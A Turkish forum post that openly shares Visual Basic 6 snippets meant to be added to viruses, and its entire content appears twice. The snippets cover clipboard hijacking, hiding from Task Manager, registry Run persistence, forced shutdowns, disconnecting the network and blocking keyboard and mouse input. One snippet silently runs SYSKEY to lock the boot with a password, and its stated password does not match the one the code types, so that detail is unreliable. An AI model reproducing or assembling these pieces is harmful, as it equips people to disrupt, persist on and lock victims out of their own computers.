Merhaba Arkadaşlar,
Bir Virus Yaptığınızda Ekleye Bilceğiniz Bir Kaç Virus Kodu Paylaşcam.
Belki Bir Kaçı Daha Önce Forumda Verilmiş Ola Bilir Yanlız Sizler'de
Daha Önce Bu Konu Başlığı Altında Paylaşılmamış Virus Kodları Varsa
Paylaşırsanız Bu Tür İşlerle Uhraşan Arkadaşlar İçin İyi Bi Konu Olur.
----------------------------
Bu kod clipboard a bilgiturko.tk kelimesini ekliyo ve copy/paste işleminde hep bilgiturko.tk yazmasını sağlıyor.
Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "bilgiturko.tk"
End Sub
----------------------------
Formun açılmaması ve görev yöneticisinde gözükmemesi için.
Kod:
me.hide
app.taskvisible=false
----------------------------
Programı XP başlangıcına eklemek.
Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR
RENTVERSION\RUN" & App.EXEName, App.Path & "" &
App.EXEName & ".exe"
----------------------------
Başlat yazısını değiştirir.
Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal
lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA"
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal
lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias
"SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String
Private Sub Form_Load()
yazi = "bilgiturko"
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub
----------------------------
windows başlamadan önce okunması için pencere açar
Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "bilgiturko"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub
----------------------------
cdrom açma ve kapama işlemini yapar
Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub
Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub
----------------------------
XP Başlangıcına Parola Koyar Test Edenler Şifrenin "bilgiturko" olduğunu unutmasın.
Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub
----------------------------
Kod:
Shell "shutdown -s -t 20" , Bilgisayarı kapatır.
Shell "shutdown -r -t 20" , Bilgisayarı yeniden başlatır.
Shell "shutdown -l -t 20" , Oturumu kapatır.
Shell "shutdown -f" , Çalışan uygulamaları uyarmadan kapanmaya zorlar.
----------------------------
Sürekli Beep Sesi Çıkarır
Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Beep
End
----------------------------
Yazıcıdan Çıktı Almaya Yarar.
Kod:
Private Sub Form_Load()
Printer.Print "Yazıcıdan Çıktı Almak İstediğiniz Kelimeyi Buraya Yazın"
End Sub
----------------------------
Kod:
Shell "ipconfig /release" , İnterneti Keser.
Shell "ipconfig /renew" , İnternete Tekrar Bağlanır.
----------------------------
Klavye Ve Fare'yi Etkisiz Hale Getirir.
Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
Bir Virus Yaptığınızda Ekleye Bilceğiniz Bir Kaç Virus Kodu Paylaşcam.
Belki Bir Kaçı Daha Önce Forumda Verilmiş Ola Bilir Yanlız Sizler'de
Daha Önce Bu Konu Başlığı Altında Paylaşılmamış Virus Kodları Varsa
Paylaşırsanız Bu Tür İşlerle Uhraşan Arkadaşlar İçin İyi Bi Konu Olur.
----------------------------
Bu kod clipboard a bilgiturko.tk kelimesini ekliyo ve copy/paste işleminde hep bilgiturko.tk yazmasını sağlıyor.
Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "bilgiturko.tk"
End Sub
----------------------------
Formun açılmaması ve görev yöneticisinde gözükmemesi için.
Kod:
me.hide
app.taskvisible=false
----------------------------
Programı XP başlangıcına eklemek.
Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR
RENTVERSION\RUN" & App.EXEName, App.Path & "" &
App.EXEName & ".exe"
----------------------------
Başlat yazısını değiştirir.
Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal
lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA"
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal
lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias
"SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String
Private Sub Form_Load()
yazi = "bilgiturko"
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub
----------------------------
windows başlamadan önce okunması için pencere açar
Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "bilgiturko"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub
----------------------------
cdrom açma ve kapama işlemini yapar
Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub
Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub
----------------------------
XP Başlangıcına Parola Koyar Test Edenler Şifrenin "bilgiturko" olduğunu unutmasın.
Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub
----------------------------
Kod:
Shell "shutdown -s -t 20" , Bilgisayarı kapatır.
Shell "shutdown -r -t 20" , Bilgisayarı yeniden başlatır.
Shell "shutdown -l -t 20" , Oturumu kapatır.
Shell "shutdown -f" , Çalışan uygulamaları uyarmadan kapanmaya zorlar.
----------------------------
Sürekli Beep Sesi Çıkarır
Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Beep
End
----------------------------
Yazıcıdan Çıktı Almaya Yarar.
Kod:
Private Sub Form_Load()
Printer.Print "Yazıcıdan Çıktı Almak İstediğiniz Kelimeyi Buraya Yazın"
End Sub
----------------------------
Kod:
Shell "ipconfig /release" , İnterneti Keser.
Shell "ipconfig /renew" , İnternete Tekrar Bağlanır.
----------------------------
Klavye Ve Fare'yi Etkisiz Hale Getirir.
Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub